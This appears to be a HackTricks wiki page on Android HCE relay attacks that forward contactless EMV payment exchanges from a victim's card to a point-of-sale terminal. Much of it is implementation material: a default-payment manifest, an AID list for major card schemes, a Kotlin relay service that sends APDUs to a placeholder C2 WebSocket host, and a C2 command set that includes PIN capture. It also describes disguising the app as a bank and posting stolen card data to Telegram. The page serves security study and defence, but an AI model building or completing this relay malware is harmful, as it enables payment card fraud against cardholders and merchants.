Android HCE NFC/EMV Relay Attacks

Reading time: 5 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Overview

Abuse of Android Host Card Emulation (HCE) allows a malicious app set as the default NFC payment service to relay EMV contactless transactions in real-time. The POS terminal talks ISO 14443-4/EMV to the phone; the app’s HostApduService receives APDUs and forwards them over a bidirectional C2 (often WebSocket) to a backend that crafts responses, which are relayed back to the POS. This enables live card emulation without local card data. Campaigns observed at scale rebrand as banks/government apps, prompt to become the default payment app, and auto-exfiltrate device/card data to Telegram bots/channels.

Key traits

  • Android components: HostApduService + default NFC payment handler (category "payment")
  • Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops
  • Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
  • Roles: scanner (read EMV data) vs tapper (HCE/relay) builds

Minimal implementation building blocks

Manifest (become default payment HCE service)

xml
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
  <service
      android:name=".EmvRelayService"
      android:exported="true"
      android:permission="android.permission.BIND_NFC_SERVICE">
    <intent-filter>
      <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
    </intent-filter>
    <meta-data
      android:name="android.nfc.cardemulation.host_apdu_service"
      android:resource="@xml/aid_list"/>
  </service>
</application>

Example AID list with EMV payment category (only apps set as default payment can answer these AIDs):

xml
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
    android:description="@string/app_name"
    android:requireDeviceUnlock="false">
  <aid-group android:category="payment" android:description="@string/app_name">
    <!-- PPSE (2PAY.SYS.DDF01) routing -->
    <aid-filter android:name="325041592E5359532E4444463031"/>
    <!-- Common EMV AIDs (examples): -->
    <aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
    <aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
    <aid-filter android:name="A00000002501"/>   <!-- AmEx -->
  </aid-group>
</host-apdu-service>

Prompt user to set default payment app (opens OS settings):

kotlin
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)

HostApduService relay skeleton

kotlin
class EmvRelayService : HostApduService() {
  private var ws: okhttp3.WebSocket? = null

  override fun onCreate() {
    super.onCreate()
    // Establish C2 WebSocket early; authenticate and register device
    val client = okhttp3.OkHttpClient()
    val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
    ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
  }

  override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
    // Marshal APDU to C2 and block until response
    val id = System.nanoTime()
    val msg = mapOf(
      "type" to "apdu_command",
      "id" to id,
      "data" to commandApdu!!.toHex()
    )
    val response = sendAndAwait(msg) // wait for matching apdu_response{id}
    return response.hexToBytes()
  }

  override fun onDeactivated(reason: Int) {
    ws?.send("{\"type\":\"card_removed\"}")
  }

  private fun sendAndAwait(m: Any): String {
    // Implement correlation + timeout; handle error/blocked status
    // ...
    return "9000" // fall back to SW success if needed
  }
}

Utility note: Background service must respond within the POS timeout budget (~few hundred ms) per APDU; maintain a low-latency socket and pre-auth with the C2. Persist across process death using a foreground service as needed.

Typical C2 command set (observed)

text
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error

EMV contactless exchange (primer)

The POS drives the flow; the HCE app simply relays APDUs:

  • SELECT PPSE (2PAY.SYS.DDF01)
    • 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
  • SELECT application AID (e.g., VISA A0000000031010)
    • 00 A4 04 00 len 00
  • GET PROCESSING OPTIONS (GPO)
    • 80 A8 00 00 Lc 00
  • READ RECORD(S) per AFL
    • 00 B2 <SFI/record> 0C 00
  • GENERATE AC (ARQC/TC)
    • 80 AE 80 00 Lc 00

In a relay, the backend crafts valid FCI/FCP, AFL, records and a cryptogram; the phone only forwards bytes.

Operator workflows seen in the wild

  • Deception + install: app re-skins as bank/gov portal, presents full-screen WebView and immediately requests to become default NFC payment app.
  • Event-triggered activation: NFC tap wakes HostApduService; the relay begins.
  • Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.
  • Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI).

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks